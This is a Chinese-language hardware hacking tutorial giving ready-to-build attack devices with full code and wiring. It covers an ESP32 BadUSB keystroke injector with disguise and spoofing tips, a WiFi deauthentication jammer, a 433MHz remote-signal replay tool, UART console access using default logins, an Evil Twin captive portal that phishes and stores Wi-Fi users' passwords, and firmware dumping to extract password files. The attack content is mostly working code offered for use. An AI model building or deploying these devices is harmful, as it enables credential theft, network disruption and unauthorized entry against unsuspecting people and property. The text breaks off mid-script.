08 手搓硬件攻防与自制设备

核心理念:不买成品,自己焊。从选板子到烧代码到装壳,每一步都自己动手。本文所有代码均可直接编译运行,所有电路图均有明确引脚标注。

Part 2:USB HID Keyboard 攻击(BadUSB)

2.1 实战1:ESP32-S3 BadUSB 键盘

硬件清单

元件型号数量价格(¥)
开发板ESP32-S3-DevKitC-1 或 NodeMCU ESP32-S3130
USB线Type-C 数据线(要能传数据的)15
可选:伪装壳USB延长线拆外壳,把板子塞进去13

电路连接

ESP32-S3 自带 USB OTG 引脚:

  • USB_D+ → GPIO20(板子内部已经连好,不需要你焊)
  • USB_D- → GPIO19(板子内部已经连好)
  • 直接用板载的 Type-C 口插目标电脑即可

如果用的是 ESP32-S3 裸模块(非开发板),需要自己飞线:

ESP32-S3 模块            USB Type-A 公头
GPIO20 (D+)  ----------> 绿线 (D+)
GPIO19 (D-)  ----------> 白线 (D-)
GND          ----------> 黑线 (GND)
VBUS (5V)    ----------> 红线 (VCC)  ← 注意:模块不能直接接5V,需要LDO降压到3.3V

Arduino IDE 环境配置

  1. 安装 Arduino IDE(sudo pacman -S arduino
  2. 打开 Arduino IDE → 文件 → 首选项 → 附加开发板管理器网址,填入:
    https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
    
  3. 工具 → 开发板 → 开发板管理器 → 搜索 esp32 → 安装 esp32 by Espressif Systems
  4. 选择开发板:ESP32S3 Dev Module
  5. USB CDC on Boot: Enabled
  6. USB Mode: USB-OTG (TinyUSB)

代码:插入后自动打开记事本输入信息

/*
 * ESP32-S3 BadUSB HID Keyboard
 * 插入后自动打开记事本(Win: notepad, Mac: TextEdit, Linux: gedit)
 */
 
#include <Arduino.h>
#include "USB.h"
#include "USBHIDKeyboard.h"
 
USBHIDKeyboard Keyboard;
 
// 目标操作系统:0=Windows, 1=macOS, 2=Linux
const int TARGET_OS = 0;
 
// 自定义要打的文字
const String payload = "Security Audit Report\n"
                       "====================\n"
                       "System compromise detected.\n"
                       "Please change all passwords immediately.\n\n"
                       "This is a demonstration only.\n";
 
void openTerminal() {
  switch (TARGET_OS) {
    case 0: // Windows
      Keyboard.press(KEY_LEFT_GUI);  // Win键
      delay(50);
      Keyboard.print("r");
      delay(500);
      Keyboard.release(KEY_LEFT_GUI);
      delay(500);
      Keyboard.println("notepad.exe");
      delay(1000);
      break;
    case 1: // macOS
      Keyboard.press(KEY_LEFT_GUI);
      delay(50);
      Keyboard.print(" ");
      delay(300);
      Keyboard.release(KEY_LEFT_GUI);
      delay(300);
      Keyboard.println("TextEdit");
      delay(1000);
      break;
    case 2: // Linux
      Keyboard.press(KEY_LEFT_GUI);
      delay(100);
      Keyboard.release(KEY_LEFT_GUI);
      delay(500);
      Keyboard.println("gedit");
      delay(1000);
      break;
  }
}
 
void runPowershellPayload() {
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.print("r");
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  delay(500);
  Keyboard.println(
    "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "
    "-Command \"Start-Process powershell -ArgumentList "
    "'Write-Host \\\"Payload Executed\\\"' -Verb RunAs\""
  );
}
 
void typePayloadSlowly() {
  int delayMin = 40;
  int delayMax = 120;
  for (int i = 0; i < payload.length(); i++) {
    char c = payload[i];
    if (c == '\n') {
      Keyboard.write(KEY_RETURN);
      delay(100);
    } else {
      Keyboard.print(c);
      delay(random(delayMin, delayMax));
    }
  }
}
 
void setup() {
  Serial.begin(115200);
  delay(3000);
  Keyboard.begin();
  USB.begin();
  delay(2000);
  openTerminal();
  delay(1500);
  typePayloadSlowly();
}
 
void loop() {
  delay(60000);
}

编译与烧录

# 1. 在Arduino IDE中:
#    - 选择端口 /dev/ttyACM0(或 /dev/ttyUSB0)
#    - 点击"上传"
 
# 2. 用 esptool.py 命令行烧录(替代方案):
esptool.py --chip esp32s3 --port /dev/ttyACM0 write_flash 0x0 firmware.bin
 
# 3. 烧录完成后,断开USB,重新插入目标电脑
#    ESP32-S3 会自动枚举为 USB HID 键盘并执行Payload

伪装技巧

  1. 塞进USB延长线外壳:剪断USB延长线,把ESP32-S3板子焊接到线芯上,塞回外壳。
  2. 做成充电器外观:用旧的手机充电头外壳,把板子藏在里面,引出USB线。
  3. VID/PID伪装:在代码中修改USB描述符,伪装成常见键盘(如Logitech、Dell):
// 在boards.txt中修改编译选项:
// -DUSB_VID=0x046D -DUSB_PID=0xC31C  // Logitech G Pro Keyboard
// -DUSB_MANUFACTURER="Logitech" -DUSB_PRODUCT="USB Keyboard"
  1. 延迟执行:加一个 delay(300000)(5分钟),插上后用户以为充电,5分钟后才打字。

Part 3:WiFi 嗅探器/反向Shell

3.1 实战3:ESP32 WiFi Deauther

硬件

  • ESP32-WROOM-32 开发板(¥20)
  • OLED屏(可选,SSD1306,128x64,¥10)
  • 按钮 x3(¥1)
  • 面包板 + 杜邦线(¥5)

OLED 屏幕连接(可选)

ESP32         OLED (SSD1306 I2C)
GND     ----> GND
3V3     ----> VCC
GPIO22  ----> SCL
GPIO21  ----> SDA

按钮连接(可选,用于操作菜单)

ESP32     按钮
GPIO12 --> 按钮1 (上) ---> GND
GPIO13 --> 按钮2 (下) ---> GND
GPIO14 --> 按钮3 (确认) ---> GND

刷 SpaceHuhn Deauther 固件

# 1. 下载固件
git clone https://github.com/SpacehuhnTech/esp8266_deauther.git
cd esp8266_deauther
git checkout v3
 
# 2. 先擦除
esptool.py --chip esp32 --port /dev/ttyUSB0 erase_flash
 
# 3. 烧录固件(4MB Flash版)
esptool.py --chip esp32 --port /dev/ttyUSB0 \
  --baud 460800 write_flash -z 0x1000 ESP32_DEAUTHER_4M.bin
 
# 4. 重启ESP32
# 会创建一个名为 "pwned" 的WiFi热点,密码:deauther
# 连接后浏览器打开 http://192.168.4.1

使用网页控制界面

1. 手机/电脑连 WiFi "pwned",密码 deauther
2. 打开浏览器 http://192.168.4.1
3. 界面功能:
   - Scan:扫描周围WiFi设备
   - SSIDs:选择要攻击的目标WiFi/客户端
   - Attacks:Deauth / Beacon / Probe
   - Packet Monitor:查看抓到的包

常用攻击操作

1. 点 "SCAN APs" → 等10秒,看到周围WiFi列表
2. 勾选目标AP(路由器)→ 点"Select"
3. 切换到 "Attacks" 标签
4. 选 "Deauth" → 点 "Start"
5. 目标WiFi下所有客户端断连

自己写Deauth代码(不用SpaceHuhn,纯Arduino)

/*
 * ESP32 最小WiFi Deauther - 仅需ESP32一块板
 */
 
#include <Arduino.h>
#include <esp_wifi.h>
#include <WiFi.h>
 
typedef struct {
  uint16_t frame_control;
  uint16_t duration;
  uint8_t da[6];
  uint8_t sa[6];
  uint8_t bssid[6];
  uint16_t seq_ctrl;
} __attribute__((packed)) deauth_frame_t;
 
void send_deauth(uint8_t* ap_mac, uint8_t* client_mac, uint8_t* bssid) {
  deauth_frame_t frame;
  frame.frame_control = 0xC0;
  frame.duration = 0;
  memcpy(frame.da, client_mac, 6);
  memcpy(frame.sa, ap_mac, 6);
  memcpy(frame.bssid, bssid, 6);
  frame.seq_ctrl = 0;
  esp_wifi_80211_tx(WIFI_IF_AP, (uint8_t*)&frame, sizeof(frame), false);
}
 
void setup() {
  Serial.begin(115200);
  WiFi.mode(WIFI_AP);
  esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);
  Serial.println("Deauther started. Sending broadcast deauth...");
}
 
void loop() {
  uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
  uint8_t fake_ap[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x01};
  send_deauth(fake_ap, broadcast, broadcast);
  delay(100);
  Serial.print(".");
}

Part 4:RF 射频设备

4.1 实战5:CC1101 433MHz 遥控信号录制与重放

硬件清单

元件型号数量价格(¥)
主控Arduino Nano110
RF模块CC1101 433MHz18
天线433MHz弹簧天线 / 17.3cm导线12
电容100μF 电解电容(给CC1101稳流)10.5
面包板830孔15
杜邦线公母各10根13

CC1101 引脚定义

CC1101 模块引脚 (8pin):
     VDD     --- 3.3V
     GND     --- GND
     SI      --- SPI MOSI
     SO      --- SPI MISO
     SCLK    --- SPI SCK
     CSn     --- SPI SS (片选)
     GDO0    --- 中断输出(可选)
     GDO2    --- 第二中断输出(可选)

电路连接:Arduino Nano → CC1101

Arduino Nano (5V板子)         CC1101 (3.3V模块)
5V          ---> 不用       ---> VDD  (3.3V供电!)
3.3V        ---> 红色线    ---> VDD  (用Arduino Nano的3.3V引脚)
GND         ---> 黑色线    ---> GND
D13 (SCK)   ---> 黄色线    ---> SCLK
D11 (MOSI)  ---> 蓝色线    ---> SI
D12 (MISO)  ---> 绿色线    ---> SO
D10 (SS)    ---> 橙色线    ---> CSn
D2          ---> 紫色线    ---> GDO0(可选)

重要:100μF电容,正极接3.3V,负极接GND(给CC1101稳压!)

注意:CC1101 是 3.3V 设备!Arduino Nano 的 3.3V 输出能力只有约 50mA,CC1101 发射时峰值电流可达 30mA。如果不够力,用 AMS1117-3.3 降压模块从 5V 降到 3.3V 单独给 CC1101 供电。

Arduino 代码:433MHz 录制与重放

安装库:在 Arduino IDE 库管理器中搜索并安装 ELECHOUSE__CC1101

/*
 * 433MHz RF 遥控信号录制与重放
 * 硬件:Arduino Nano + CC1101
 *
 * 串口命令:
 *   r    - 开始录制
 *   p    - 重放信号
 *   s    - 保存到EEPROM
 *   l    - 从EEPROM加载
 *   m    - 显示菜单
 *   f XXX.XX - 设置频率 (如 f 433.92)
 *   t 0-12 - 设置发射功率
 *   mod 0-3 - 设置调制 (0=2FSK 1=GFSK 2=OOK 3=MSK)
 *   scan   - 扫描频率
 *   raw    - 打印原始数据
 */
 
#include <ELECHOUSE_CC1101_SRC_DRV.h>
#include <EEPROM.h>
 
#define FREQ_MHZ        433.92
#define RX_BW_KHZ       200
#define DATA_RATE_KBPS  4.79
#define MODULATION      2  // OOK/ASK
#define TX_POWER        10
#define MAX_SAMPLES     512
#define EEPROM_ADDR     0
 
uint8_t capturedData[MAX_SAMPLES];
int capturedLength = 0;
String serialBuffer = "";
 
void printMenu() {
  Serial.println(F("\n--- Commands ---"));
  Serial.println(F("r    - Record new signal"));
  Serial.println(F("p    - Play back recorded signal"));
  Serial.println(F("s    - Save to EEPROM"));
  Serial.println(F("l    - Load from EEPROM"));
  Serial.println(F("m    - Show this menu"));
  Serial.println(F("f XXX.XX - Set frequency (e.g. f 433.92)"));
  Serial.println(F("t 0-12   - Set TX power"));
  Serial.println(F("mod 0-3  - Set modulation (0=2FSK 1=GFSK 2=OOK 3=MSK)"));
  Serial.println(F("scan     - Scan for signals"));
  Serial.println(F("raw      - Print raw captured data"));
}
 
void recordSignal() {
  Serial.println(F("\n[*] Recording... Press remote button NOW!"));
  Serial.println(F("[*] Waiting for signal... (timeout 10s)"));
 
  ELECHOUSE_cc1101.SetRx();
  unsigned long startTime = millis();
  capturedLength = 0;
  int silenceCount = 0;
 
  while ((millis() - startTime) < 10000 && capturedLength < MAX_SAMPLES) {
    if (ELECHOUSE_cc1101.CheckRXFlag()) {
      uint8_t buf[64];
      int len = ELECHOUSE_cc1101.SpiReadRxBuf(buf, 64);
      for (int i = 0; i < len && capturedLength < MAX_SAMPLES; i++) {
        capturedData[capturedLength++] = buf[i];
      }
      silenceCount = 0;
    } else {
      silenceCount++;
      delay(1);
      if (silenceCount > 500 && capturedLength > 0) break;
    }
  }
 
  if (capturedLength > 0) {
    Serial.print(F("[+] Recorded "));
    Serial.print(capturedLength);
    Serial.println(F(" bytes"));
  } else {
    Serial.println(F("[!] No signal captured."));
  }
}
 
void playSignal() {
  if (capturedLength == 0) {
    Serial.println(F("[!] No signal recorded. Use 'r' first."));
    return;
  }
  Serial.print(F("[*] Replaying "));
  Serial.print(capturedLength);
  Serial.println(F(" bytes..."));
  ELECHOUSE_cc1101.SetTx();
  for (int repeat = 0; repeat < 5; repeat++) {
    ELECHOUSE_cc1101.SendData(capturedData, capturedLength, 100);
    delay(50);
  }
  Serial.println(F("[+] Replay complete!"));
  ELECHOUSE_cc1101.SetRx();
}
 
void saveToEEPROM() {
  if (capturedLength == 0) { Serial.println(F("[!] Nothing to save")); return; }
  EEPROM.put(EEPROM_ADDR, capturedLength);
  for (int i = 0; i < capturedLength && i < (MAX_SAMPLES - 2); i++)
    EEPROM.write(EEPROM_ADDR + 2 + i, capturedData[i]);
  Serial.println(F("[+] Saved to EEPROM"));
}
 
void loadFromEEPROM() {
  EEPROM.get(EEPROM_ADDR, capturedLength);
  if (capturedLength > MAX_SAMPLES) capturedLength = MAX_SAMPLES;
  for (int i = 0; i < capturedLength && i < (MAX_SAMPLES - 2); i++)
    capturedData[i] = EEPROM.read(EEPROM_ADDR + 2 + i);
  Serial.print(F("[+] Loaded ")); Serial.print(capturedLength);
  Serial.println(F(" bytes from EEPROM"));
}
 
void printRawData() {
  for (int i = 0; i < capturedLength; i++) {
    if (capturedData[i] < 0x10) Serial.print('0');
    Serial.print(capturedData[i], HEX);
    Serial.print(' ');
    if ((i + 1) % 16 == 0) Serial.println();
  }
  Serial.println();
}
 
void frequencyScan() {
  float freqs[] = {315.0, 433.05, 433.42, 433.92, 868.0, 868.3, 915.0};
  int n = sizeof(freqs) / sizeof(freqs[0]);
  Serial.println(F("\n[*] Scanning frequencies..."));
  for (int i = 0; i < n; i++) {
    Serial.print(F("[*] Checking ")); Serial.print(freqs[i]);
    Serial.println(F(" MHz"));
    ELECHOUSE_cc1101.setMHZ(freqs[i]);
    ELECHOUSE_cc1101.SetRx();
    unsigned long start = millis();
    int hits = 0;
    while ((millis() - start) < 10000) {
      if (ELECHOUSE_cc1101.CheckRXFlag()) {
        hits++;
        uint8_t buf[64];
        ELECHOUSE_cc1101.SpiReadRxBuf(buf, 64);
      }
    }
    if (hits > 0) Serial.printf("    [+++] %d signals!\n", hits);
    else Serial.println(F("    [---] No signal"));
  }
  ELECHOUSE_cc1101.setMHZ(FREQ_MHZ);
}
 
void setup() {
  Serial.begin(115200);
  delay(2000);
  Serial.println(F("\n=== 433MHz RF Signal Recorder/Replayer ==="));
  ELECHOUSE_cc1101.Init();
  ELECHOUSE_cc1101.setMHZ(FREQ_MHZ);
  ELECHOUSE_cc1101.setModulation(MODULATION);
  ELECHOUSE_cc1101.setRxBW(RX_BW_KHZ);
  ELECHOUSE_cc1101.setDRate(DATA_RATE_KBPS);
  ELECHOUSE_cc1101.setPA(TX_POWER);
  printMenu();
  if (EEPROM.read(EEPROM_ADDR) != 0xFF) loadFromEEPROM();
}
 
void loop() {
  while (Serial.available()) {
    char c = Serial.read();
    if (c == '\n' || c == '\r') {
      serialBuffer.trim();
      if (serialBuffer.length() > 0) {
        if (serialBuffer == "r") recordSignal();
        else if (serialBuffer == "p") playSignal();
        else if (serialBuffer == "s") saveToEEPROM();
        else if (serialBuffer == "l") loadFromEEPROM();
        else if (serialBuffer == "m") printMenu();
        else if (serialBuffer == "raw") printRawData();
        else if (serialBuffer == "scan") frequencyScan();
        else if (serialBuffer.startsWith("f ")) {
          ELECHOUSE_cc1101.setMHZ(serialBuffer.substring(2).toFloat());
          Serial.printf("[+] Freq set to %s\n", serialBuffer.substring(2).c_str());
        }
        else if (serialBuffer.startsWith("t ")) {
          ELECHOUSE_cc1101.setPA(serialBuffer.substring(2).toInt());
          Serial.printf("[+] TX Power set to %s\n", serialBuffer.substring(2).c_str());
        }
        else if (serialBuffer.startsWith("mod ")) {
          int m = serialBuffer.substring(4).toInt();
          ELECHOUSE_cc1101.setModulation(m);
          Serial.printf("[+] Modulation set to %d\n", m);
        }
        else Serial.println(F("[?] Unknown. Type 'm' for menu"));
      }
      serialBuffer = "";
    } else {
      serialBuffer += c;
    }
  }
}

使用步骤

# 1. 上传代码到Arduino Nano
# 2. 打开串口监视器(波特率115200)
screen /dev/ttyUSB0 115200
 
# 3. 输入 r 开始录制
# 4. 拿到遥控器,靠近CC1101天线,按下遥控器按钮不放
# 5. 看到 "Recorded XXX bytes" 表示录制成功
 
# 6. 输入 p 重放信号
# 7. 观察目标设备(灯亮了?门开了?)
 
# 8. 输入 s 保存到EEPROM(断电不丢失)

支持调制的设备类型

调制常见设备
OOK (ASK)老式车库门、遥控插座、门铃、433M报警器
2-FSK数字遥控器、部分汽车钥匙
GFSK蓝牙低功耗(BLE在2.4GHz)
MSK部分专业设备

Part 5:串口UART 入侵器

5.1 实战7:自制USB-to-UART 入侵器

硬件清单

元件型号数量价格(¥)
USB转串口模块CH340G 或 CH340C15
排针2.54mm 直插排针 3pin10.5
探针弹簧探针 P75-LM2(1.02mm直径)35
热缩管1.5mm 直径若干1
杜邦线公母/M-M/F-F各10根13
万用表随便130
可选:逻辑分析仪Saleae兼容 8ch 24MHz120

为什么选 CH340 而不是 CP2102/FT232

芯片价格(¥)驱动3.3V/5V评价
CH340G3-5免驱(内核自带ch341)可选推荐,便宜、Linux内核自带驱动、5V/3.3V跳线选择
CH340C5同CH340G可选内置晶振,少一个器件
CP21028-15内核自带cp210x3.3V固定只支持3.3V,部分嵌入式设备UART是5V
FT232RL20-35内核自带ftdi_sio可选太贵,正品30+
PL23035-10需要装驱动-老芯片,不推荐

结论:CH340G 模块淘宝 3 块钱包邮,Linux modprobe ch341 直接驱动。买带跳线选择 3.3V/5V 的那种。

自制探针线

材料:弹簧探针 x3 + 母杜邦头 x3 + 热缩管 + 焊锡

## 做法:
1. 探针尾部焊上3cm导线
2. 导线焊上母杜邦头
3. 热缩管套好,加热缩紧
4. 标记线序(用不同颜色或标签纸):
   - 红:RX(CH340 RX → 目标板 TX)
   - 橙:TX(CH340 TX → 目标板 RX)
   - 黑:GND

理好之后用一段热缩管把三根探针并排固定,间距2.54mm(匹配排针间距)

电路图:CH340模块引脚

CH340G USB转串口模块(常见6pin版本):

    
      CH340G 模块         |
      |
      [USB-A 公头]        |  插电脑USB口
      |
      跳线            |
      | VCC  |  → 3.3V/5V |  通过跳线帽选择输出电压
      |
      |
      排针引脚:           |
      |
      | 3V3 | → 3.3V输出  |  (可以不接)
      | VCC | → 5V输出    |  (可以不接)
      | TXD | → 接目标RX  |   必须接
      | RXD | → 接目标TX  |   必须接
      | GND | → 接目标GND |   必须接
      | +5V | → USB 5V    |  (可以不接)
      |
    

连接逻辑:
  CH340  TXD  →  目标板  RX
  CH340  RXD  →  目标板  TX
  CH340  GND  →  目标板  GND

注意:TXD接RX,RXD接TX(交叉连接!)

找 UART 口的方法

目标设备:路由器、IP摄像头、智能家居网关、机顶盒、NAS、DVR、打印机等

1. 拆开设备外壳

2. 用肉眼找电路板上的 4 个并排焊盘(或排针孔):
   通常布局: GND  TX  RX  VCC
              方焊盘=GND

3. 用万用表确认:
   - GND:蜂鸣档一头接地(USB外壳/电源负),一头碰焊盘,响=GND
   - VCC:电压档,黑笔接GND,红笔碰焊盘,3.3V或5V=电源
   - TX:电压档,开机时测,有电压波动(1-3V)=TX(不断发数据)
   - RX:电压档,可能稳定在某个电平(3.3V或0V)=RX

4. 连接(先断电连接,再上电):
   CH340 GND → 目标板 GND
   CH340 TXD → 目标板 RX
   CH340 RXD → 目标板 TX

   不要接VCC!由目标板自己供电!

5. 打开终端,连接串口:
   screen /dev/ttyUSB0 115200

常见波特率

9600    - 老设备、Arduino默认
19200   - 老调制解调器
38400   - 部分嵌入式
57600   - 某些路由器
115200  - 最常见!路由器/摄像头默认
230400  - 高速设备
460800  - 高速设备
921600  - 高速设备
1500000 - 一些高通芯片路由器

实战连接

# 1. 插入CH340模块
lsusb | grep CH340
# Bus 001 Device 005: ID 1a86:7523 QinHeng Electronics CH340 serial converter
 
# 2. 查看分配的串口号
dmesg | tail -20
# [12345.678] usb 1-1: ch341-uart converter now attached to ttyUSB0
 
# 3. 给ttyUSB0权限
sudo chmod 666 /dev/ttyUSB0
 
# 4. 连接串口
screen /dev/ttyUSB0 115200
 
# 如果没输出,尝试其他波特率:
for baud in 9600 19200 38400 57600 115200 230400 460800 921600; do
  echo "Trying $baud..."
  stty -F /dev/ttyUSB0 $baud raw -echo
  timeout 5 cat /dev/ttyUSB0
done
 
# 5. 获取到Shell后:
#    按Enter唤醒
#    看到 login: 或 root@OpenWrt:~#
#    如果看到uboot,在启动时按Ctrl+C中断引导,进入uboot shell
 
# 6. 路由器UART实战示例:
# OpenWrt路由器:
screen /dev/ttyUSB0 115200
# 看到: OpenWrt login:
# 输入: root
# 直接进shell(OpenWrt默认无密码)
 
# 摄像头(海康/大华):
screen /dev/ttyUSB0 115200
# 看到: (none) login:
# 尝试: admin/admin 或 root/12345 或 root/空

无输出的排查

1. RX 和 TX 有没有接反? 交换试试
2. GND 有没有接? 不接GND=不工作
3. 电平对不对? CH340跳线设为3.3V还是5V? 不对会烧坏目标板!
4. 波特率对不对? 用逻辑分析仪看Bit Rate
5. 目标板的UART有没有被软件禁用? 很多设备出货时通过GPIO关UART

Part 6:网络中间人设备

6.1 实战9:ESP32 HTTPS拦截代理

原理

客户端 ---WiFi---> ESP32(AP模式) ---> Web服务器

ESP32 做热点,客户端连上来。
ESP32 把 HTTP 流量记录下来。
HTTPS → HTTP 降级(客户端Warning,但很多人点"继续")

代码:ESP32 Evil Twin WiFi + HTTP Credential Logger

/*
 * ESP32 Evil Twin WiFi + Captive Portal + Credential Logger
 */
 
#include <WiFi.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <SPIFFS.h>
 
const char* fake_ssid     = "CMCC-FREE";
const char* fake_password = "password123";
 
WebServer server(80);
DNSServer dnsServer;
 
void handleCaptivePortal() {
  server.sendHeader("Location", "http://192.168.4.1/login", true);
  server.send(302, "text/plain", "");
}
 
void handleLogin() {
  String html = "<!DOCTYPE html><html><head>";
  html += "<meta charset='UTF-8'>";
  html += "<meta name='viewport' content='width=device-width,initial-scale=1'>";
  html += "<title>WiFi 认证</title>";
  html += "<style>";
  html += "body{font-family:Arial;background:#f0f0f0;text-align:center;padding-top:50px;}";
  html += ".box{background:white;max-width:400px;margin:0 auto;padding:30px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1);}";
  html += "input{width:90%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:4px;font-size:14px;}";
  html += "button{width:95%;padding:10px;background:#007aff;color:white;border:none;border-radius:4px;font-size:16px;margin-top:10px;}";
  html += "</style></head><body>";
  html += "<div class='box'>";
  html += "<h2>网络认证</h2>";
  html += "<p style='color:#666;font-size:13px;'>此网络需要认证后使用</p>";
  html += "<form method='POST' action='/auth'>";
  html += "<input type='text' name='user' placeholder='手机号/用户名' required><br>";
  html += "<input type='password' name='pass' placeholder='密码' required><br>";
  html += "<button type='submit'>连接网络</button>";
  html += "</form></div></body></html>";
  server.send(200, "text/html", html);
}
 
void handleAuth() {
  String user = server.arg("user");
  String pass = server.arg("pass");
  String ip = server.client().remoteIP().toString();
 
  Serial.println("========================================");
  Serial.printf("[+] Captured Credentials!\n");
  Serial.printf("    IP:   %s\n", ip.c_str());
  Serial.printf("    User: %s\n", user.c_str());
  Serial.printf("    Pass: %s\n", pass.c_str());
  Serial.println("========================================");
 
  File f = SPIFFS.open("/creds.txt", "a");
  if (f) {
    f.println("IP: " + ip + " | User: " + user + " | Pass: " + pass);
    f.close();
  }
 
  String html = "<html><head><meta charset='UTF-8'></head><body>";
  html += "<div style='text-align:center;padding-top:80px;font-family:Arial;'>";
  html += "<h1 style='color:green;'>认证成功</h1>";
  html += "<p>您现在可以访问互联网了</p>";
  html += "<p style='color:#999;font-size:12px;'>3秒后自动跳转...</p>";
  html += "</div></body></html>";
  server.send(200, "text/html", html);
}
 
void handleCredentials() {
  String html = "<h1>Captured Credentials</h1><pre>";
  File f = SPIFFS.open("/creds.txt", "r");
  if (f) { while (f.available()) html += (char)f.read(); f.close(); }
  html += "</pre>";
  server.send(200, "text/html", html);
}
 
void setup() {
  Serial.begin(115200);
  SPIFFS.begin(true);
 
  WiFi.mode(WIFI_AP);
  if (strlen(fake_password) == 0)
    WiFi.softAP(fake_ssid);
  else
    WiFi.softAP(fake_ssid, fake_password);
 
  IPAddress apIP(192, 168, 4, 1);
  WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
 
  dnsServer.start(53, "*", WiFi.softAPIP());
 
  server.onNotFound(handleCaptivePortal);
  server.on("/login", HTTP_GET, handleLogin);
  server.on("/auth", HTTP_POST, handleAuth);
  server.on("/creds", HTTP_GET, handleCredentials);
  server.begin();
 
  Serial.printf("[+] Fake AP: %s\n", fake_ssid);
  Serial.println("[+] Captive Portal ready");
  Serial.println("[+] Credentials: http://192.168.4.1/creds");
}
 
void loop() {
  dnsServer.processNextRequest();
  server.handleClient();
  delay(5);
}

使用

# 烧录代码后:
# 1. ESP32 启动 "CMCC-FREE" 热点
# 2. 连上这个WiFi,浏览器打开任何网址都会跳转到认证页面
# 3. 输入手机号和密码,提交
# 4. 在ESP32的串口监视器或 http://192.168.4.1/creds 查看捕获数据

Part 7:物理接触工具

7.1 实战11:SPI Flash 读写器

硬件

元件型号数量价格(¥)
编程器CH341A 编程器(土豪金版/黑版)112
SOP8夹子SOP8/SOIC8 测试夹18
转接板(可选)SOP8 转 DIP8 烧录座13
杜邦线母-母8条3

CH341A 引脚定义

CH341A 编程器(土豪金版)24/25系列Flash编程器:

    
      CH341A Programmer        |
      |
      24/25系列 目标芯片引脚定义  |
      |
      1  → CS    (片选)         |
      2  → MISO  (SO)          |
      3  → WP    (写保护)       |  ← 接GND允许写入
      4  → GND                  |
      5  → MOSI  (SI)          |
      6  → SCK                  |
      7  → HOLD                 |  ← 接VCC保持工作
      8  → VCC   (3.3V)       |
      |
      [USB-B 接口接电脑]         |
    

SOP8 夹子连接

CH341A 编程器             目标板SOP8 Flash芯片(夹子)
CS   (Pin 1)  →  Pin 1  CS
MISO (Pin 2)  →  Pin 2  DO (MISO)
WP   (Pin 3)  →  Pin 3  WP
GND  (Pin 4)  →  Pin 4  GND
MOSI (Pin 5)  →  Pin 5  DI (MOSI)
SCK  (Pin 6)  →  Pin 6  CLK
HOLD (Pin 7)  →  Pin 7  HOLD
VCC  (Pin 8)  →  Pin 8  VCC

注意:SOP8芯片的Pin 1通常有个小圆点或凹槽标记

安装 flashrom

# Arch/Manjaro
sudo pacman -S flashrom
 
# Debian/Ubuntu/Kali
sudo apt install flashrom
 
# 查看CH341A是否识别
lsusb | grep CH341
dmesg | grep -i ch341

读取Flash芯片

# 1. 识别Flash芯片
flashrom -p ch341a_spi
# 输出示例:
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ch341a_spi.
 
# 2. 读取全部内容
flashrom -p ch341a_spi -r firmware_dump.bin
 
# 3. 验证读取(读两次,对比看是否一致)
flashrom -p ch341a_spi -r dump1.bin
flashrom -p ch341a_spi -r dump2.bin
md5sum dump1.bin dump2.bin
# 两个MD5一致 = 读取正确
 
# 4. 擦除芯片
flashrom -p ch341a_spi -E
 
# 5. 写入新固件
flashrom -p ch341a_spi -w new_firmware.bin
 
# 6. 部分擦除/写入(高级)
# 只读前1MB
flashrom -p ch341a_spi -r bootloader.bin -i 0:1M

实测:读路由器固件

# 目标:TP-Link路由器 W25Q64FV (8MB)
# 1. 夹上SOP8夹子(记得对Pin 1方向和芯片标记)
# 2. 插入CH341A到电脑
# 3. 运行flashrom
 
flashrom -p ch341a_spi
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI).
 
flashrom -p ch341a_spi -r tplink_fw.bin
# Reading flash... done. (用时约30秒)
 
# 4. 分析固件
binwalk tplink_fw.bin
# 0  0x0        U-Boot version string
# 65536 0x10000 LZMA compressed data
# 1835008 0x1C0000 Squashfs filesystem
 
# 5. 提取文件系统
dd if=tplink_fw.bin of=squashfs.bin bs=1 skip=1835008
unsquashfs squashfs.bin
# 查看 /etc/shadow, /etc/passwd, 配置文件等
 
# 6. 搜索硬编码密码
strings tplink_fw.bin | grep -i "passwd\|password\|admin\|root"

常见Flash芯片型号

厂商       类型        容量    型号
Winbond   25系列 NOR   8MB    W25Q64JV
Winbond   25系列 NOR   16MB   W25Q128JV
Winbond   25系列 NOR   32MB   W25Q256JV
MXIC      25系列 NOR   8MB    MX25L6406E
MXIC      25系列 NOR   16MB   MX25L12835F
GigaDevice 25系列 NOR  8MB    GD25Q64B
GigaDevice 25系列 NOR  16MB   GD25Q128C

SOP8封装引脚定义(俯视图):
       v   (小圆点在左下=Pin 1)
Pin 1  |       |  Pin 8
Pin 2  | W25Q  |  Pin 7
Pin 3  |  64JV |  Pin 6
Pin 4  |_______|  Pin 5

   W25Q64 引脚分配:
   1=CS, 2=DO(MISO), 3=WP, 4=GND
   5=DI(MOSI), 6=CLK, 7=HOLD, 8=VCC

夹子使用技巧

1. 目标板断电!千万不要带电夹Flash(会烧毁芯片或编程器)

2. 红灰两色线的夹子:红线标记是Pin 1方向
   找到芯片上小圆点或凹槽 → 用夹子的红线方向对齐

3. 夹紧后轻晃一下检查是否接触好
   如果flashrom报 "No EEPROM/flash device found":
   - 夹子没夹好(最常见原因)
   - 目标板上的MCU也驱动着SPI引脚
     解决方案:断开MCU的VCC,或用镊子短路MCU晶振使其不工作
   - 芯片不是SPI NOR Flash(可能是NAND或并行Flash)
   - CH341A跳线没设对

4. 部分板子有SPI总线上拉电阻,夹子同时供电会冲突
   解决方案:用排线飞到芯片单独供电

Part 8:装系统教程

8.1 实战13:给Raspberry Pi Zero装Arch Linux ARM

详细步骤见 Part 6.2 的 1-4 步,这里补充一键脚本版:

#!/bin/bash
# install_arch_pi_zero.sh - 一键安装Arch Linux ARM到Pi Zero
# 用法: sudo bash install_arch_pi_zero.sh /dev/mmcblk0
 
set -e
DEVICE="$1"
 
if [ -z "$DEVICE" ]; then
  echo "Usage: $0 /dev/mmcblk0"
  exit 1
fi
